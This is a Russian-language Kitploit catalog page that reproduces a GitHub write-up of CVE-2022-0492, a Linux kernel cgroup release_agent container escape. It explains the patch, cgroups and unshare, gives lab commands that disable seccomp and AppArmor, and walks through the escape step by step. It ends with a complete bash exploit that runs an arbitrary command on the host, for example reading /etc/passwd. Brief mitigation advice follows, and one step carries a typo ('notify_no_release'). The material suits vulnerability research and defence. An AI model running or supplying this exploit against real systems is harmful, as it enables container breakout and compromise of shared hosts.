Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/chenaotian/cve-2022-0492
Повышение привилегийАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеПобег из КонтейнераЛаборатории и Практика
GitHubchenaotian/cve-2022-0492

CVE-2022-0492

Детальный технический анализ и рабочий эксплойт для CVE-2022-0492 — побег из контейнера ядра Linux через cgroup release_agent, с пошаговой настройкой лабораторной среды и рекомендациями по смягчению последствий.

Репозиторий
32934 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-0492: Анализ побега из контейнера

[toc]

Введение в уязвимость

Идентификатор уязвимости: CVE-2022-0492

Уязвимый продукт: linux kernel – cgroup

Затрагиваемые версии: ~linux kernel 5.17-rc3

Вред от уязвимости: если в контейнере не включены дополнительные меры безопасности, получение root-прав внутри контейнера позволяет совершить побег на хост-систему.

Настройка окружения

Достаточно использовать Docker на Linux с уязвимым ядром.

root@kitploit:~
# Запуск Docker с отключением всех защитных механизмов
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 

В данной статье для эксперимента используется Docker.

Принцип уязвимости и связанные знания

Метод эксплуатации этой уязвимости уже является старым знакомым, однако новизна заключается в том, что изменение release_agent cgroup происходит без проверки прав, что ещё больше снижает порог для побега (раньше требовалась привилегия CAP_SYS_ADMIN, теперь она не нужна). Подробнее о различиях в условиях эксплуатации – см. раздел "Условия эксплуатации" далее.

Точка возникновения уязвимости

Анализ патча: исправлена функция cgroup_release_agent_write, добавлена проверка подлинности. Это означает, что параметр release_agent cgroup больше не может быть изменён пользователем без соответствующих прав:

image-20220310201629995

Таким образом, уязвимость определяется как неисправный контроль доступа.

Краткое введение в cgroup

cgroup (Control Group) – функционал ядра Linux, используемый для ограничения, контроля и изоляции ресурсов (таких как CPU, память, ввод/вывод диска) для группы процессов.

cgroup имеет следующие подсистемы:

  1. devices – управление разрешениями на устройства для процессов
  2. cpuset – выделение процессам доступных ядер CPU и узлов памяти
  3. cpu – управление долей использования CPU
  4. cpuacct – статистика использования CPU (например, время работы, время троттлинга)
  5. memory – ограничение верхнего лимита памяти
  6. freezer – приостановка процессов в cgroup
  7. net_cls – совместно с tc (traffic controller) ограничение пропускной способности сети
  8. net_prio – установка приоритета сетевого трафика процессов
  9. huge_tlb – ограничение использования больших страниц (HugeTLB)
  10. perf_event – разрешает инструменту Perf проводить анализ производительности на основе группировки cgroup

cgroup на хосте находятся в /sys/fs/cgroup, там можно увидеть каждую подсистему cgroup:

image-20220311113636040

Соответствующая подсистема cgroup внутри Docker является дочерним узлом этой cgroup на хосте. Просмотр memory cgroup в Docker:

image-20220311113811776

Узел с именем контейнера в каталоге Docker на хосте выглядит точно так же:

image-20220311113853019

Использование cgroup

cgroup используется через файловую систему: с помощью mount cgroup монтируется в каталог, cgroup взаимодействует через виртуальную файловую систему VFS. Интерфейсы cgroup представлены в виде файлов, и параметры cgroup настраиваются операциями с файлами.

root@kitploit:~
mount -t cgroup -o memory cgroup /tmp/testcgroup

image-20220311111853198

Можно создать дочерний узел cgroup, создав подкаталог: mkdir /tmp/testcgroup/x.

release_agent

Каждая подсистема cgroup имеет параметр notify_on_release. Это булево значение (1 или 0), которое включает или отключает выполнение команды освобождения агента. Если notify_on_release включён (равен 1), то когда cgroup перестаёт содержать задачи (т.е. когда последний процесс в cgroup завершается и PID в файле tasks становится пустым), ядро выполняет содержимое файла, указанного в параметре release_agent. Значение notify_on_release можно изменить, записывая в одноимённый файл.

image-20220311114023546

Уязвимость возникает именно при изменении release_agent. Ранее для изменения release_agent было достаточно иметь возможность управлять cgroup, но для использования cgroup требовалась привилегия CAP_SYS_ADMIN. Однако позже исследователи обнаружили, что с помощью команды unshare можно создать новое пространство имён и получить все capabilities, включая CAP_SYS_ADMIN. Таким образом, ограничение CAP_SYS_ADMIN перестало действовать, и порог для эксплуатации резко снизился.

Команда unshare

Команда unshare отменяет совместное использование указанных пространств имён с родительским процессом, создаёт новые и запускает указанную программу в этом новом пространстве имён. Важно для нашей эксплуатации: созданное unshare пространство имён обладает всеми capabilities, включая CAP_SYS_ADMIN.

image-20220311102635204

Эксплуатация уязвимости

Метод эксплуатации данной уязвимости совпадает с традиционным побегом через CAP_SYS_ADMIN + cgroup release_agent, однако условия эксплуатации различаются.

Условия эксплуатации

Различия в условиях эксплуатации по сравнению с традиционным побегом через release_agent:

Традиционный release_agent: контейнер должен обладать CAP_SYS_ADMIN, при этом apparmor и selinux должны быть отключены.

CVE-2022-0492: контейнер работает "голым" (более детально: seccomp не запрещает unshare, apparmor не делает cgroup только для чтения, selinux отключён). Достаточно получить root-права внутри контейнера. CAP_SYS_ADMIN не требуется.

Стоит отметить, что apparmor в Docker по умолчанию делает cgroup только для чтения, а seccomp по умолчанию запрещает unshare для процессов без CAP_SYS_ADMIN. В Kubernetes по умолчанию контейнеры часто запускаются "голыми". В целом, из-за относительной простоты эксплуатации можно попробовать в конкретных сценариях.

После исправления уязвимости: судя по коду патча:

image-20220310201629995

Для изменения файла release_agent теперь необходимы два условия:

  1. Быть в корневом пространстве имён
  2. Обладать привилегией CAP_SYS_ADMIN

После исправления получить CAP_SYS_ADMIN через unshare уже недостаточно для изменения release_agent, поскольку новое пространство имён, созданное unshare, не является корневым. Однако если контейнер изначально обладает CAP_SYS_ADMIN, то этот метод побега всё ещё может быть использован.

Эксплуатация уязвимости

Получение CAP_SYS_ADMIN

Если Docker запущен с параметром --cap-add=SYS_ADMIN или --privileged (привилегированный контейнер), то контейнер уже имеет CAP_SYS_ADMIN. Пример запуска:

root@kitploit:~
# Docker с привилегией SYS_ADMIN, отключение apparmor (иначе не смонтировать)
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 

Контейнер с CAP_SYS_ADMIN может сразу перейти к шагу "Изменение release_agent". Для запуска контейнера без CAP_SYS_ADMIN и воспроизведения уязвимости используем:

root@kitploit:~
# Запуск Docker с отключением всех защитных механизмов
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 

Не имея CAP_SYS_ADMIN, получаем её с помощью команды unshare:

root@kitploit:~
unshare -UrmC --propagation=unchanged bash 

Новое пространство имён получает все capabilities.

image-20220311102635204

Монтирование cgroup и получение пути контейнера на хосте

Монтируем cgroup в каталог. Этот шаг требует CAP_SYS_ADMIN, так как используется mount. На предыдущем шаге мы либо имеем встроенный CAP_SYS_ADMIN, либо получили его через unshare. Кроме того, нужно создать узел cgroup внутри только что смонтированной cgroup, чтобы впоследствии выполнить очистку задач:

root@kitploit:~
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
# Затем создаём внутри /tmp/testcgroup ещё один
mkdir /tmp/testcgroup/x

Если не удаётся смонтировать memory или в подсистеме memory нет release_agent, можно использовать другую подсистему cgroup.

Из файла /etc/mtab можно получить информацию о смонтированной файловой системе Docker overlay. Параметр upperdir указывает на абсолютный путь корневого каталога контейнера на хосте:

image-20220311104701790

Его можно извлечь командой:

root@kitploit:~
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

Изменение release_agent и запуск побега

Устанавливаем notify_on_release в 1, чтобы включить выполнение release_agent после очистки задач в cgroup:

root@kitploit:~
echo 1 > /tmp/testcgroup/x/notify_no_release

Создаём файл, который будет выполняться при срабатывании release_agent:

root@kitploit:~
touch /cmd
echo '#!/bin/sh' > /cmd
echo "ps -ef >> $host_path/result"  >> /cmd
chmod 777 /cmd

Изменяем release_agent: указываем путь к файлу cmd на хосте (путь к корневому каталогу контейнера на хосте мы уже получили):

root@kitploit:~
echo "$host_path/cmd" > /tmp/testcgroup/release_agent

Далее записываем задачу в узел x cgroup: добавляем PID текущей оболочки в файл cgroup.procs.

root@kitploit:~
sh -c "echo \$\$ >  /tmp/testcgroup/x/cgroup.procs"

Команда sh выполняет только один echo и сразу завершается, поэтому узел x cgroup остаётся без задач. Это вызывает срабатывание notify_on_release, который выполняет файл /cmd, указанный в release_agent. Ядро запускает эту команду вне контейнера, и побег совершён. Успешный побег:

image-20220311110810458

Эксплойт (exp)

На основе описанного процесса написан эксплойт:

root@kitploit:~
#!/bin/bash
hackCMD=$1
CAP_SYS_ADMIN=0x80000
ifSysAdmin=0
mountDir=/tmp/testcgroup
cmdPath=/cmd
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

mkdir $mountDir
# create cmd
touch $cmdPath
echo '#!/bin/sh' > $cmdPath
echo "$1 > $hostPath/result"  >> $cmdPath
chmod 777 $cmdPath

#create escape.sh
cat <<EOF > ./escape.sh
#!/bin/bash

subsys=\$1
mountDir=\$2
host_path=\$3

mount -t cgroup -o \$subsys cgroup \$mountDir 
if [ ! -d \$mountDir/x ]
then
    mkdir \$mountDir/x
fi

cd \$mountDir/x
echo 1 > \$mountDir/x/notify_on_release
echo "\$host_path/cmd" > \$mountDir/release_agent

sh -c "echo \\\$\\\$ >  \$mountDir/x/cgroup.procs"
sleep 0.5
umount $mountDir 
EOF
chmod 777 ./escape.sh

#get if has cap_sys_admin
nowCap=`cat /proc/$$/status | grep CapEff`
nowCap=${nowCap#*CapEff:}
nowCap=${nowCap%%CapEff*}
nowCap=0x${nowCap: 1: 16}

ifSysAdmin=0
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
then
    ifSysAdmin=1
fi

if [ $ifSysAdmin == 1 ]
then 
    echo "[+] You have CAP_SYS_ADMIN!"
else
    echo "[-] You donot have CAP_SYS_ADMIN, will try"
fi

#try escape
while read -r subsys
do
    if [ $ifSysAdmin == 1 ]
    then
        if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then
            ./escape.sh $subsys $mountDir $hostPath 
            echo "[+] Escape Success!"
            rm -r $mountDir
            cat /result
            rm  /result
            exit 0
        fi
    else
        if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then
            unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"
            echo "[+] Escape Success with unshare!"
            rm -r $mountDir
            cat /result
            rm  /result
            exit 0
        fi
    fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')

echo "[-] Escape Fail!"
rm -r $mountDir

Запустить, передав в качестве аргумента команду, которую нужно выполнить при побеге: например, ./exp.sh "cat /etc/passwd".

Успешный побег:

image-20220311153511050

Меры смягчения

Docker по умолчанию включает seccomp и apparmor. Если контейнер запущен с настройками по умолчанию, побег через данную уязвимость невозможен. Kubernetes по умолчанию не применяет никаких средств защиты, поэтому необходимо вручную включать seccomp и apparmor или selinux.

Ссылки

https://nvd.nist.gov/vuln/detail/CVE-2022-0492

https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492

https://www.freebuf.com/vuls/264843.html

Кроме того, уточнялись детали у людей, участвовавших в поиске этой уязвимости.

Скачать инструмент